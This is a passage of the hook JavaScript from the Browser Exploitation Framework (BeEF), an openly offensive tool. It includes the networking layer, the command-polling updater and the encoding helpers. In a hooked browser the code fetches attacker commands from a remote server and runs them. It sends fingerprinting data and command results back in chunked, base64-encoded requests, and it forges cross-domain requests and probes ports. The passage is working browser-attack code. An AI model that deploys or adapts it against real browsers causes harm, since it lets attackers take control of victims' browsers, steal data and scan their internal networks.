  8482. */
  8483. packet: function () {
  8484. this.id = null;
  8485. this.data = null;
  8486. },
  8487.  
  8488. /**
  8489. * Stream object. Contains X packets, which are command result chunks.
  8490. */
  8491. stream: function () {
  8492. this.id = null;
  8493. this.packets = [];
  8494. this.pc = 0;
  8495. this.get_base_url_length = function () {
  8496. return (this.url + this.handler + '?' + 'bh=' + beef.session.get_hook_session_id()).length;
  8497. };
  8498. this.get_packet_data = function () {
  8499. var p = this.packets.shift();
  8500. return {'bh': beef.session.get_hook_session_id(), 'sid': this.id, 'pid': p.id, 'pc': this.pc, 'd': p.data }
  8501. };
  8502. },
  8503.  
  8504. /**
  8505. * Response Object - used in the beef.net.request callback
  8506. * NOTE: as we are using async mode, the response object will be empty if returned.
  8507. * Using sync mode, request obj fields will be populated.
  8508. */
  8509. response: function () {
  8510. this.status_code = null; // 500, 404, 200, 302
  8511. this.status_text = null; // success, timeout, error, ...
  8512. this.response_body = null; // "<html>…." if not a cross-origin request
  8513. this.port_status = null; // tcp port is open, closed or not http
  8514. this.was_cross_domain = null; // true or false
  8515. this.was_timedout = null; // the user specified timeout was reached
  8516. this.duration = null; // how long it took for the request to complete
  8517. this.headers = null; // full response headers
  8518. },
  8519.  
  8520. /**
  8521. * Queues the specified command results.
  8522. * @param: {String} handler: the server-side handler that will be called
  8523. * @param: {Integer} cid: command id
  8524. * @param: {String} results: the data to send
  8525. * @param: {Integer} status: the result of the command execution (-1, 0 or 1 for 'error', 'unknown' or 'success')
  8526. * @param: {Function} callback: the function to call after execution
  8527. */
  8528. queue: function (handler, cid, results, status, callback) {
  8529. if (typeof(handler) === 'string' && typeof(cid) === 'number' && (callback === undefined || typeof(callback) === 'function')) {
  8530. var s = new beef.net.command();
  8531. s.cid = cid;
  8532. s.results = beef.net.clean(results);
  8533. s.status = status;
  8534. s.callback = callback;
  8535. s.handler = handler;
  8536. this.cmd_queue.push(s);
  8537. }
  8538. },
  8539.  
  8540. /**
  8541. * Queues the current command results and flushes the queue straight away.
  8542. * NOTE: Always send Browser Fingerprinting results
  8543. * (beef.net.browser_details(); -> /init handler) using normal XHR-polling,
  8544. * even if WebSockets are enabled.
  8545. * @param: {String} handler: the server-side handler that will be called
  8546. * @param: {Integer} cid: command id
  8547. * @param: {String} results: the data to send
  8548. * @param: {Integer} exec_status: the result of the command execution (-1, 0 or 1 for 'error', 'unknown' or 'success')
  8549. * @param: {Function} callback: the function to call after execution
  8550. * @return: {Integer} exec_status: the command module execution status (defaults to 0 - 'unknown' if status is null)
  8551. */
  8552. send: function (handler, cid, results, exec_status, callback) {
  8553. // defaults to 'unknown' execution status if no parameter is provided, otherwise set the status
  8554. var status = 0;
  8555. if (exec_status != null && parseInt(Number(exec_status)) == exec_status){ status = exec_status}
  8556.  
  8557. if (typeof beef.websocket === "undefined" || (handler === "/init" && cid == 0)) {
  8558. this.queue(handler, cid, results, status, callback);
  8559. this.flush();
  8560. } else {
  8561. try {
  8562. beef.websocket.send('{"handler" : "' + handler + '", "cid" :"' + cid +
  8563. '", "result":"' + beef.encode.base64.encode(beef.encode.json.stringify(results)) +
  8564. '", "status": "' + exec_status +
  8565. '", "callback": "' + callback +
  8566. '","bh":"' + beef.session.get_hook_session_id() + '" }');
  8567. } catch (e) {
  8568. this.queue(handler, cid, results, status, callback);
  8569. this.flush();
  8570. }
  8571. }
  8572.  
  8573. return status;
  8574. },
  8575.  
  8576. /**
  8577. * Flush all currently queued command results to the framework,
  8578. * chopping the data in chunks ('chunk' method) which will be re-assembled
  8579. * server-side by the network stack.
  8580. * NOTE: currently 'flush' is used only with the default
  8581. * XHR-polling mechanism. If WebSockets are used, the data is sent
  8582. * back to BeEF straight away.
  8583. */
  8584. flush: function (callback) {
  8585. if (this.cmd_queue.length > 0) {
  8586. var data = beef.encode.base64.encode(beef.encode.json.stringify(this.cmd_queue));
  8587. this.cmd_queue.length = 0;
  8588. this.sid_count++;
  8589. var stream = new this.stream();
  8590. stream.id = this.sid_count;
  8591. var pad = stream.get_base_url_length() + this.pad;
  8592. //cant continue if chop amount is too low
  8593. if ((this.chop - pad) > 0) {
  8594. var data = this.chunk(data, (this.chop - pad));
  8595. for (var i = 1; i <= data.length; i++) {
  8596. var packet = new this.packet();
  8597. packet.id = i;
  8598. packet.data = data[(i - 1)];
  8599. stream.packets.push(packet);
  8600. }
  8601. stream.pc = stream.packets.length;
  8602. this.push(stream, callback);
  8603. }
  8604. } else {
  8605. if ((typeof callback != 'undefined') && (callback != null)) {
  8606. callback();
  8607. }
  8608. }
  8609. },
  8610.  
  8611. /**
  8612. * Split the input data into chunk lengths determined by the amount parameter.
  8613. * @param: {String} str: the input data
  8614. * @param: {Integer} amount: chunk length
  8615. */
  8616. chunk: function (str, amount) {
  8617. if (typeof amount == 'undefined') n = 2;
  8618. return str.match(RegExp('.{1,' + amount + '}', 'g'));
  8619. },
  8620.  
  8621. /**
  8622. * Push the input stream back to the BeEF server-side components.
  8623. * It uses beef.net.request to send back the data.
  8624. * @param: {Object} stream: the stream object to be sent back.
  8625. */
  8626. push: function (stream, callback) {
  8627. //need to implement wait feature here eventually
  8628. if (typeof callback === 'undefined') {
  8629. callback = null;
  8630. }
  8631. for (var i = 0; i < stream.pc; i++) {
  8632. var cb = null;
  8633. if (i == (stream.pc - 1)) {
  8634. cb = callback;
  8635. }
  8636. this.request(this.httpproto, 'GET', this.host, this.port, this.handler, null,
  8637. stream.get_packet_data(), 10, 'text', cb);
  8638. }
  8639. },
  8640.  
  8641. /**
  8642. * Performs http requests
  8643. * @param: {String} scheme: HTTP or HTTPS
  8644. * @param: {String} method: GET or POST
  8645. * @param: {String} domain: bindshell.net, 192.168.3.4, etc
  8646. * @param: {Int} port: 80, 5900, etc
  8647. * @param: {String} path: /path/to/resource
  8648. * @param: {String} anchor: this is the value that comes after the # in the URL
  8649. * @param: {String} data: This will be used as the query string for a GET or post data for a POST
  8650. * @param: {Int} timeout: timeout the request after N seconds
  8651. * @param: {String} dataType: specify the data return type expected (ie text/html/script)
  8652. * @param: {Function} callback: call the callback function at the completion of the method
  8653. *
  8654. * @return: {Object} response: this object contains the response details
  8655. */
  8656. request: function (scheme, method, domain, port, path, anchor, data, timeout, dataType, callback) {
  8657. //check if same domain or cross domain
  8658. var cross_domain = true;
  8659. if (document.domain == domain.replace(/(\r\n|\n|\r)/gm, "")) { //strip eventual line breaks
  8660. if (document.location.port == "" || document.location.port == null) {
  8661. cross_domain = !(port == "80" || port == "443");
  8662. }
  8663. }
  8664.  
  8665. //build the url
  8666. var url = "";
  8667. if (path.indexOf("http://") != -1 || path.indexOf("https://") != -1) {
  8668. url = path;
  8669. } else {
  8670. url = scheme + "://" + domain;
  8671. url = (port != null) ? url + ":" + port : url;
  8672. url = (path != null) ? url + path : url;
  8673. url = (anchor != null) ? url + "#" + anchor : url;
  8674. }
  8675.  
  8676. //define response object
  8677. var response = new this.response;
  8678. response.was_cross_domain = cross_domain;
  8679. var start_time = new Date().getTime();
  8680.  
  8681. /*
  8682. * according to http://api.jquery.com/jQuery.ajax/, Note: having 'script':
  8683. * This will turn POSTs into GETs for remote-domain requests.
  8684. */
  8685. if (method == "POST") {
  8686. $j.ajaxSetup({
  8687. dataType: dataType
  8688. });
  8689. } else {
  8690. $j.ajaxSetup({
  8691. dataType: 'script'
  8692. });
  8693. }
  8694.  
  8695. //build and execute the request
  8696. $j.ajax({type: method,
  8697. url: url,
  8698. data: data,
  8699. timeout: (timeout * 1000),
  8700.  
  8701. //This is needed, otherwise jQuery always add Content-type: application/xml, even if data is populated.
  8702. beforeSend: function (xhr) {
  8703. if (method == "POST") {
  8704. xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded; charset=utf-8");
  8705. }
  8706. },
  8707. success: function (data, textStatus, xhr) {
  8708. var end_time = new Date().getTime();
  8709. response.status_code = xhr.status;
  8710. response.status_text = textStatus;
  8711. response.response_body = data;
  8712. response.port_status = "open";
  8713. response.was_timedout = false;
  8714. response.duration = (end_time - start_time);
  8715. },
  8716. error: function (jqXHR, textStatus, errorThrown) {
  8717. var end_time = new Date().getTime();
  8718. response.response_body = jqXHR.responseText;
  8719. response.status_code = jqXHR.status;
  8720. response.status_text = textStatus;
  8721. response.duration = (end_time - start_time);
  8722. response.port_status = "open";
  8723. },
  8724. complete: function (jqXHR, textStatus) {
  8725. response.status_code = jqXHR.status;
  8726. response.status_text = textStatus;
  8727. response.headers = jqXHR.getAllResponseHeaders();
  8728. // determine if TCP port is open/closed/not-http
  8729. if (textStatus == "timeout") {
  8730. response.was_timedout = true;
  8731. response.response_body = "ERROR: Timed out\n";
  8732. response.port_status = "closed";
  8733. } else if (textStatus == "parsererror") {
  8734. response.port_status = "not-http";
  8735. } else {
  8736. response.port_status = "open";
  8737. }
  8738. }
  8739. }).always(function () {
  8740. if (callback != null) {
  8741. callback(response);
  8742. }
  8743. });
  8744. return response;
  8745. },
  8746.  
  8747. /*
  8748. * Similar to beef.net.request, except from a few things that are needed when dealing with forged requests:
  8749. * - requestid: needed on the callback
  8750. * - allowCrossDomain: set cross-domain requests as allowed or blocked
  8751. *
  8752. * forge_request is used mainly by the Requester and Tunneling Proxy Extensions.
  8753. * Example usage:
  8754. * beef.net.forge_request("http", "POST", "172.20.40.50", 8080, "/lulz",
  8755. * true, null, { foo: "bar" }, 5, 'html', false, null, function(response) {
  8756. * alert(response.response_body)})
  8757. */
  8758. forge_request: function (scheme, method, domain, port, path, anchor, headers, data, timeout, dataType, allowCrossDomain, requestid, callback) {
  8759.  
  8760. if (domain == "undefined" || path == "undefined") {
  8761. beef.debug("[beef.net.forge_request] Error: Malformed request. No host specified.");
  8762. return;
  8763. }
  8764.  
  8765. // check if same domain or cross domain
  8766. var cross_domain = true;
  8767. if (document.domain == domain && document.location.protocol == scheme + ':') {
  8768. if (document.location.port == "" || document.location.port == null) {
  8769. cross_domain = !(port == "80" || port == "443");
  8770. } else {
  8771. if (document.location.port == port) cross_domain = false;
  8772. }
  8773. }
  8774.  
  8775. // build the url
  8776. var url = "";
  8777. if (path.indexOf("http://") != -1 || path.indexOf("https://") != -1) {
  8778. url = path;
  8779. } else {
  8780. url = scheme + "://" + domain;
  8781. url = (port != null) ? url + ":" + port : url;
  8782. url = (path != null) ? url + path : url;
  8783. url = (anchor != null) ? url + "#" + anchor : url;
  8784. }
  8785.  
  8786. // define response object
  8787. var response = new this.response;
  8788. response.was_cross_domain = cross_domain;
  8789. var start_time = new Date().getTime();
  8790.  
  8791. // if cross-domain requests are not allowed and the request is cross-domain
  8792. // don't proceed and return
  8793. if (allowCrossDomain == "false" && cross_domain) {
  8794. beef.debug("[beef.net.forge_request] Error: Cross Domain Request. The request was not sent.");
  8795. response.status_code = -1;
  8796. response.status_text = "crossdomain";
  8797. response.port_status = "crossdomain";
  8798. response.response_body = "ERROR: Cross Domain Request. The request was not sent.\n";
  8799. response.headers = "ERROR: Cross Domain Request. The request was not sent.\n";
  8800. if (callback != null) callback(response, requestid);
  8801. return response;
  8802. }
  8803.  
  8804. // if the request was cross-domain from a HTTPS origin to HTTP
  8805. // don't proceed and return
  8806. if (document.location.protocol == 'https:' && scheme == 'http') {
  8807. beef.debug("[beef.net.forge_request] Error: Mixed Active Content. The request was not sent.");
  8808. response.status_code = -1;
  8809. response.status_text = "mixedcontent";
  8810. response.port_status = "mixedcontent";
  8811. response.response_body = "ERROR: Mixed Active Content. The request was not sent.\n";
  8812. response.headers = "ERROR: Mixed Active Content. The request was not sent.\n";
  8813. if (callback != null) callback(response, requestid);
  8814. return response;
  8815. }
  8816.  
  8817. /*
  8818. * according to http://api.jquery.com/jQuery.ajax/, Note: having 'script':
  8819. * This will turn POSTs into GETs for remote-domain requests.
  8820. */
  8821. if (method == "POST") {
  8822. $j.ajaxSetup({
  8823. dataType: dataType
  8824. });
  8825. } else {
  8826. $j.ajaxSetup({
  8827. dataType: 'script'
  8828. });
  8829. }
  8830.  
  8831. // this is required for bugs in IE so data can be transferred back to the server
  8832. if (beef.browser.isIE()) {
  8833. dataType = 'script'
  8834. }
  8835.  
  8836. $j.ajax({type: method,
  8837. dataType: dataType,
  8838. url: url,
  8839. headers: headers,
  8840. timeout: (timeout * 1000),
  8841.  
  8842. //This is needed, otherwise jQuery always add Content-type: application/xml, even if data is populated.
  8843. beforeSend: function (xhr) {
  8844. if (method == "POST") {
  8845. xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded; charset=utf-8");
  8846. }
  8847. },
  8848.  
  8849. data: data,
  8850.  
  8851. // http server responded successfully
  8852. success: function (data, textStatus, xhr) {
  8853. var end_time = new Date().getTime();
  8854. response.status_code = xhr.status;
  8855. response.status_text = textStatus;
  8856. response.response_body = data;
  8857. response.was_timedout = false;
  8858. response.duration = (end_time - start_time);
  8859. },
  8860.  
  8861. // server responded with a http error (403, 404, 500, etc)
  8862. // or server is not a http server
  8863. error: function (xhr, textStatus, errorThrown) {
  8864. var end_time = new Date().getTime();
  8865. response.response_body = xhr.responseText;
  8866. response.status_code = xhr.status;
  8867. response.status_text = textStatus;
  8868. response.duration = (end_time - start_time);
  8869. },
  8870.  
  8871. complete: function (xhr, textStatus) {
  8872. // cross-domain request
  8873. if (cross_domain) {
  8874.  
  8875. response.port_status = "crossdomain";
  8876.  
  8877. if (xhr.status != 0) {
  8878. response.status_code = xhr.status;
  8879. } else {
  8880. response.status_code = -1;
  8881. }
  8882.  
  8883. if (textStatus) {
  8884. response.status_text = textStatus;
  8885. } else {
  8886. response.status_text = "crossdomain";
  8887. }
  8888.  
  8889. if (xhr.getAllResponseHeaders()) {
  8890. response.headers = xhr.getAllResponseHeaders();
  8891. } else {
  8892. response.headers = "ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\n";
  8893. }
  8894.  
  8895. if (!response.response_body) {
  8896. response.response_body = "ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\n";
  8897. }
  8898.  
  8899. } else {
  8900. // same-domain request
  8901. response.status_code = xhr.status;
  8902. response.status_text = textStatus;
  8903. response.headers = xhr.getAllResponseHeaders();
  8904.  
  8905. // determine if TCP port is open/closed/not-http
  8906. if (textStatus == "timeout") {
  8907. response.was_timedout = true;
  8908. response.response_body = "ERROR: Timed out\n";
  8909. response.port_status = "closed";
  8910. /*
  8911. * With IE we need to explicitly set the dataType to "script",
  8912. * so there will be always parse-errors if the content is != javascript
  8913. * */
  8914. } else if (textStatus == "parsererror") {
  8915. response.port_status = "not-http";
  8916. if (beef.browser.isIE()) {
  8917. response.status_text = "success";
  8918. response.port_status = "open";
  8919. }
  8920. } else {
  8921. response.port_status = "open";
  8922. }
  8923. }
  8924. callback(response, requestid);
  8925. }
  8926. });
  8927. return response;
  8928. },
  8929.  
  8930. //this is a stub, as associative arrays are not parsed by JSON, all key / value pairs should use new Object() or {}
  8931. //http://andrewdupont.net/2006/05/18/javascript-associative-arrays-considered-harmful/
  8932. clean: function (r) {
  8933. if (this.array_has_string_key(r)) {
  8934. var obj = {};
  8935. for (var key in r)
  8936. obj[key] = (this.array_has_string_key(obj[key])) ? this.clean(r[key]) : r[key];
  8937. return obj;
  8938. }
  8939. return r;
  8940. },
  8941.  
  8942. //Detects if an array has a string key
  8943. array_has_string_key: function (arr) {
  8944. if ($j.isArray(arr)) {
  8945. try {
  8946. for (var key in arr)
  8947. if (isNaN(parseInt(key))) return true;
  8948. } catch (e) {
  8949. }
  8950. }
  8951. return false;
  8952. },
  8953.  
  8954. /**
  8955. * Checks if the specified port is valid
  8956. */
  8957. is_valid_port: function (port) {
  8958. if (isNaN(port)) return false;
  8959. if (port > 65535 || port < 0) return false;
  8960. return true;
  8961. },
  8962.  
  8963. /**
  8964. * Checks if the specified IP address is valid
  8965. */
  8966. is_valid_ip: function (ip) {
  8967. if (ip == null) return false;
  8968. var ip_match = ip.match('^([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))$');
  8969. if (ip_match == null) return false;
  8970. return true;
  8971. },
  8972.  
  8973. /**
  8974. * Checks if the specified IP address range is valid
  8975. */
  8976. is_valid_ip_range: function (ip_range) {
  8977. if (ip_range == null) return false;
  8978. var range_match = ip_range.match('^([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\-([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))$');
  8979. if (range_match == null || range_match[1] == null) return false;
  8980. return true;
  8981. },
  8982.  
  8983. /**
  8984. * Sends back browser details to framework, calling beef.browser.getDetails()
  8985. */
  8986. browser_details: function () {
  8987. var details = beef.browser.getDetails();
  8988. var res = null;
  8989. details['HookSessionID'] = beef.session.get_hook_session_id();
  8990. this.send('/init', 0, details);
  8991. if(details != null)
  8992. res = true;
  8993.  
  8994. return res;
  8995. }
  8996.  
  8997. };
  8998.  
  8999.  
  9000. beef.regCmp('beef.net');
  9001.  
  9002.  
  9003. //
  9004. // Copyright (c) 2006-2018 Wade Alcorn - [email protected]
  9005. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  9006. // See the file 'doc/COPYING' for copying permission
  9007. //
  9008.  
  9009. /*!
  9010. * @Literal object: beef.updater
  9011. *
  9012. * Object in charge of getting new commands from the BeEF framework and execute them.
  9013. * The XHR-polling channel is managed here. If WebSockets are enabled,
  9014. * websocket.ls is used instead.
  9015. */
  9016. beef.updater = {
  9017.  
  9018. // XHR-polling timeout.
  9019. xhr_poll_timeout: "1000",
  9020. beefhook: "BEEFHOOK",
  9021.  
  9022. // A lock.
  9023. lock: false,
  9024.  
  9025. // An object containing all values to be registered and sent by the updater.
  9026. objects: new Object(),
  9027.  
  9028. /*
  9029. * Registers an object to always send when requesting new commands to the framework.
  9030. * @param: {String} the name of the object.
  9031. * @param: {String} the value of that object.
  9032. *
  9033. * @example: beef.updater.regObject('java_enabled', 'true');
  9034. */
  9035. regObject: function(key, value) {
  9036. this.objects[key] = escape(value);
  9037. },
  9038.  
  9039. // Checks for new commands from the framework and runs them.
  9040. check: function() {
  9041. if(this.lock == false) {
  9042. if (beef.logger.running) {
  9043. beef.logger.queue();
  9044. }
  9045. beef.net.flush();
  9046. if(beef.commands.length > 0) {
  9047. this.execute_commands();
  9048. }else {
  9049. this.get_commands(); /*Polling*/
  9050. }
  9051. }
  9052. /* The following gives a stupid syntax error in IE, which can be ignored*/
  9053. setTimeout(function(){beef.updater.check()}, beef.updater.xhr_poll_timeout);
  9054. },
  9055.  
  9056. /**
  9057. * Gets new commands from the framework.
  9058. */
  9059. get_commands: function() {
  9060. try {
  9061. this.lock = true;
  9062. beef.net.request(beef.net.httpproto, 'GET', beef.net.host, beef.net.port, beef.net.hook, null, beef.updater.beefhook+'='+beef.session.get_hook_session_id(), 5, 'script', function(response) {
  9063. if (response.body != null && response.body.length > 0)
  9064. beef.updater.execute_commands();
  9065. });
  9066. } catch(e) {
  9067. this.lock = false;
  9068. return;
  9069. }
  9070. this.lock = false;
  9071. },
  9072.  
  9073. /**
  9074. * Executes the received commands, if any.
  9075. */
  9076. execute_commands: function() {
  9077. if(beef.commands.length == 0) return;
  9078. this.lock = true;
  9079. while(beef.commands.length > 0) {
  9080. command = beef.commands.pop();
  9081. try {
  9082. command();
  9083. } catch(e) {
  9084. beef.debug('execute_commands - command failed to execute: ' + e.message);
  9085. // prints the command source to be executed, to better trace errors
  9086. // beef.client_debug must be enabled in the main config
  9087. beef.debug(command.toString());
  9088. }
  9089. }
  9090. this.lock = false;
  9091. }
  9092. };
  9093.  
  9094. beef.regCmp('beef.updater');
  9095.  
  9096.  
  9097. //
  9098. // Copyright (c) 2006-2018 Wade Alcorn - [email protected]
  9099. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  9100. // See the file 'doc/COPYING' for copying permission
  9101. //
  9102.  
  9103. // Base64 code from http://stackoverflow.com/questions/3774622/how-to-base64-encode-inside-of-javascript/3774662#3774662
  9104.  
  9105. beef.encode = {};
  9106.  
  9107. beef.encode.base64 = {
  9108.  
  9109. keyStr: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
  9110.  
  9111. encode : function (input) {
  9112. if (window.btoa) {
  9113. return btoa(unescape(encodeURIComponent(input)));
  9114. }
  9115.  
  9116. var output = "";
  9117. var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
  9118. var i = 0;
  9119.  
  9120. input = beef.encode.base64.utf8_encode(input);
  9121.  
  9122. while (i < input.length) {
  9123.  
  9124. chr1 = input.charCodeAt(i++);
  9125. chr2 = input.charCodeAt(i++);
  9126. chr3 = input.charCodeAt(i++);
  9127.  
  9128. enc1 = chr1 >> 2;
  9129. enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
  9130. enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
  9131. enc4 = chr3 & 63;
  9132.  
  9133. if (isNaN(chr2)) {
  9134. enc3 = enc4 = 64;
  9135. } else if (isNaN(chr3)) {
  9136. enc4 = 64;
  9137. }
  9138.  
  9139. output = output +
  9140. this.keyStr.charAt(enc1) + this.keyStr.charAt(enc2) +
  9141. this.keyStr.charAt(enc3) + this.keyStr.charAt(enc4);
  9142.  
  9143. }
  9144.  
  9145. return output;
  9146. },
  9147.  
  9148.  
  9149. decode : function (input) {
  9150. if (window.atob) {
  9151. return escape(atob(input));
  9152. }
  9153.  
  9154. var output = "";
  9155. var chr1, chr2, chr3;
  9156. var enc1, enc2, enc3, enc4;
  9157. var i = 0;
  9158.  
  9159. input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
  9160.  
  9161. while (i < input.length) {
  9162.  
  9163. enc1 = this.keyStr.indexOf(input.charAt(i++));
  9164. enc2 = this.keyStr.indexOf(input.charAt(i++));
  9165. enc3 = this.keyStr.indexOf(input.charAt(i++));
  9166. enc4 = this.keyStr.indexOf(input.charAt(i++));
  9167.  
  9168. chr1 = (enc1 << 2) | (enc2 >> 4);
  9169. chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
  9170. chr3 = ((enc3 & 3) << 6) | enc4;
  9171.  
  9172. output = output + String.fromCharCode(chr1);
  9173.  
  9174. if (enc3 != 64) {
  9175. output = output + String.fromCharCode(chr2);
  9176. }
  9177. if (enc4 != 64) {
  9178. output = output + String.fromCharCode(chr3);
  9179. }
  9180.  
  9181. }
  9182.  
  9183. output = beef.encode.base64.utf8_decode(output);
  9184.  
  9185. return output;
  9186.  
  9187. },
  9188.  
  9189.  
  9190. utf8_encode : function (string) {
  9191. string = string.replace(/\r\n/g,"\n");
  9192. var utftext = "";
  9193.  
  9194. for (var n = 0; n < string.length; n++) {
  9195.  
  9196. var c = string.charCodeAt(n);
  9197.  
  9198. if (c < 128) {
  9199. utftext += String.fromCharCode(c);
  9200. }
  9201. else if((c > 127) && (c < 2048)) {
  9202. utftext += String.fromCharCode((c >> 6) | 192);
  9203. utftext += String.fromCharCode((c & 63) | 128);
  9204. }
  9205. else {
  9206. utftext += String.fromCharCode((c >> 12) | 224);
  9207. utftext += String.fromCharCode(((c >> 6) & 63) | 128);
  9208. utftext += String.fromCharCode((c & 63) | 128);
  9209. }
  9210.  
  9211. }
  9212.  
  9213. return utftext;
  9214. },
  9215.  
  9216. utf8_decode : function (utftext) {
  9217. var string = "";
  9218. var i = 0;
  9219. var c = c1 = c2 = 0;
  9220.  
  9221. while ( i < utftext.length ) {
  9222.  
  9223. c = utftext.charCodeAt(i);
  9224.  
  9225. if (c < 128) {
  9226. string += String.fromCharCode(c);
  9227. i++;
  9228. }
  9229. else if((c > 191) && (c < 224)) {
  9230. c2 = utftext.charCodeAt(i+1);
  9231. string += String.fromCharCode(((c & 31) << 6) | (c2 & 63));
  9232. i += 2;
  9233. }
  9234. else {
  9235. c2 = utftext.charCodeAt(i+1);
  9236. c3 = utftext.charCodeAt(i+2);
  9237. string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63));
  9238. i += 3;
  9239. }
  9240.  
  9241. }
  9242.  
  9243. return string;
  9244. }
  9245.  
  9246. };
  9247.  
  9248. beef.regCmp('beef.encode.base64');
  9249.  
  9250.  
  9251. //
  9252. // Copyright (c) 2006-2018 Wade Alcorn - [email protected]
  9253. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  9254. // See the file 'doc/COPYING' for copying permission
  9255. //
  9256.  
  9257. // Json code from Brantlye Harris-- http://code.google.com/p/jquery-json/
  9258.  
  9259. beef.encode.json = {
  9260.  
  9261. stringify: function(o) {
  9262. if (typeof(JSON) == 'object' && JSON.stringify) {
  9263. // Error on stringifying cylcic structures caused polling to die
  9264. try {
  9265. s = JSON.stringify(o);
  9266. } catch(error) {
  9267. // TODO log error / handle cyclic structures?
  9268. }
  9269. return s;
  9270. }
  9271. var type = typeof(o);
  9272.  
  9273. if (o === null)
  9274. return "null";
  9275.  
  9276. if (type == "undefined")
  9277. return '\"\"';
  9278.  
  9279. if (type == "number" || type == "boolean")
  9280. return o + "";
  9281.  
  9282. if (type == "string")
  9283. return $j.quoteString(o);
  9284.  
  9285. if (type == 'object')
  9286. {
  9287. if (typeof o.toJSON == "function")
  9288. return $j.toJSON( o.toJSON() );
  9289.  
  9290. if (o.constructor === Date)
  9291. {
  9292. var month = o.getUTCMonth() + 1;
  9293. if (month < 10) month = '0' + month;
  9294.  
  9295. var day = o.getUTCDate();
  9296. if (day < 10) day = '0' + day;
  9297.  
  9298. var year = o.getUTCFullYear();
  9299.  
  9300. var hours = o.getUTCHours();
  9301. if (hours < 10) hours = '0' + hours;
  9302.  
  9303. var minutes = o.getUTCMinutes();
  9304. if (minutes < 10) minutes = '0' + minutes;
  9305.  
  9306. var seconds = o.getUTCSeconds();
  9307. if (seconds < 10) seconds = '0' + seconds;
  9308.  
  9309. var milli = o.getUTCMilliseconds();
  9310. if (milli < 100) milli = '0' + milli;
  9311. if (milli < 10) milli = '0' + milli;
  9312.  
  9313. return '"' + year + '-' + month + '-' + day + 'T' +
  9314. hours + ':' + minutes + ':' + seconds +
  9315. '.' + milli + 'Z"';
  9316. }
  9317.  
  9318. if (o.constructor === Array)
  9319. {
  9320. var ret = [];
  9321. for (var i = 0; i < o.length; i++)
  9322. ret.push( $j.toJSON(o[i]) || "null" );
  9323.  
  9324. return "[" + ret.join(",") + "]";
  9325. }
  9326.  
  9327. var pairs = [];
  9328. for (var k in o) {
  9329. var name;
  9330. var type = typeof k;
  9331.  
  9332. if (type == "number")
  9333. name = '"' + k + '"';
  9334. else if (type == "string")
  9335. name = $j.quoteString(k);
  9336. else
  9337. continue; //skip non-string or number keys
  9338.  
  9339. if (typeof o[k] == "function")
  9340. continue; //skip pairs where the value is a function.
  9341.  
  9342. var val = $j.toJSON(o[k]);
  9343.  
  9344. pairs.push(name + ":" + val);
  9345. }
  9346.  
  9347. return "{" + pairs.join(", ") + "}";
  9348. }
  9349. },
  9350.  
  9351. quoteString: function(string) {
  9352. if (string.match(this._escapeable))
  9353. {
  9354. return '"' + string.replace(this._escapeable, function (a)
  9355. {
  9356. var c = this._meta[a];
  9357. if (typeof c === 'string') return c;
  9358. c = a.charCodeAt();
  9359. return '\\u00' + Math.floor(c / 16).toString(16) + (c % 16).toString(16);
  9360. }) + '"';
  9361. }
  9362. return '"' + string + '"';
  9363. },
  9364.  
  9365. _escapeable: /["\\\x00-\x1f\x7f-\x9f]/g,
  9366.  
  9367. _meta : {
  9368. '\b': '\\b',
  9369. '\t': '\\t',
  9370. '\n': '\\n',
  9371. '\f': '\\f',
  9372. '\r': '\\r',
  9373. '"' : '\\"',
  9374. '\\': '\\\\'
  9375. }
  9376. };
  9377.  
  9378. $j.toJSON = function(o) {return beef.encode.json.stringify(o);};
  9379. $j.quoteString = function(o) {return beef.encode.json.quoteString(o);};
  9380.  
  9381. beef.regCmp('beef.encode.json');
  9382.  
  9383.  
  9384. //
  9385. // Copyright (c) 2006-2018 Wade Alcorn - [email protected]
  9386. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  9387. // See the file 'doc/COPYING' for copying permission
  9388. //
  9389.  
  9390. /*!
  9391. * @literal object: beef.net.local
  9392. *
  9393. * Provides networking functions for the local/internal network of the zombie.
  9394. */
  9395. beef.net.local = {
  9396.  
  9397. sock: false,
  9398. checkJava: false,
  9399. hasJava: false,
  9400.  
  9401. /**
  9402. * Initializes the java socket. We have to use this method because
  9403. * some browsers do not have java installed or it is not accessible.
  9404. * in which case creating a socket directly generates an error. So this code
  9405. * is invalid:
  9406. * sock: new java.net.Socket();
  9407. */
  9408.  
  9409. initializeSocket: function() {
  9410. if(this.checkJava){
  9411. if(!beef.browser.hasJava()) {
  9412. this.checkJava=True;
  9413. this.hasJava=False;
  9414. return -1;
  9415. }else{
  9416. this.checkJava=True;
  9417. this.hasJava=True;
  9418. return 1;
  9419. }
  9420. }
  9421. else{
  9422. if(!this.hasJava) return -1;
  9423. else{
  9424. try {
  9425. this.sock = new java.net.Socket();
